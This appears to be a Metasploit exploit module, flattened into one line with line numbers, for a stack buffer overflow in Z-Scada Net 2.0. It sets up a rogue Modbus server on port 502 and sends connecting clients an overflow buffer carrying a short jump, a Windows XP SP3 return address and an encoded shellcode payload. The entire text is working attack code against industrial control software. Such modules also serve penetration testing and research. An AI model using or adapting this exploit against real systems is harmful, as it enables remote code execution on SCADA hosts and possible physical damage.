1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 |
require 'msf/core' class MetasploitModule < Msf::Exploit::Remote Rank = GreatRanking include Msf::Exploit::Remote::TcpServer def initialize(info = {}) super(update_info(info, 'Name' => 'ZScada Net Buffer Overflow', 'Description'=> %q{ This module exploits a stack based buffer overflow found in Z-Scada Net 2.0.The vulnerability is triggered when parsing the response to a Modbus packet. }, 'Author' => [ 'james fitts' ], 'License'=> MSF_LICENSE, 'References' => [ [ 'url', 'https://lists.immunityinc.com/pipermail/canvas/2014-December/000141.html' ], ], 'Privileged' => false, 'DefaultOptions' => { 'EXITFUNC' => 'process', }, 'Payload'=> { 'Space'=> 500, 'BadChars' => "", 'StackAdjustment' => -3500 }, 'Platform' => 'win', 'Targets'=> [ [ 'Windows XP SP3 EN', { # zscadanet.exe v1.0 # pop ecx/ pop ebp/ retn 'Ret' => 0x00429c35 } ], ], 'DefaultTarget' => 0, 'DisclosureDate' => 'Dec 11 2014')) register_options( [ OptPort.new('SRVPORT', [ true, "The port to listen on", 502]) ], self.class) end def on_client_data(client) p = payload.encoded buf = pattern_create(5000) buf[574, 4] = [0x909006eb].pack('V') # jmp $+8 buf[578, 4] = [target.ret].pack('V') buf[582, 24] = "\x41" * 24 buf[606, p.length] = p client.put(buf) handler service.close_client(client) end end |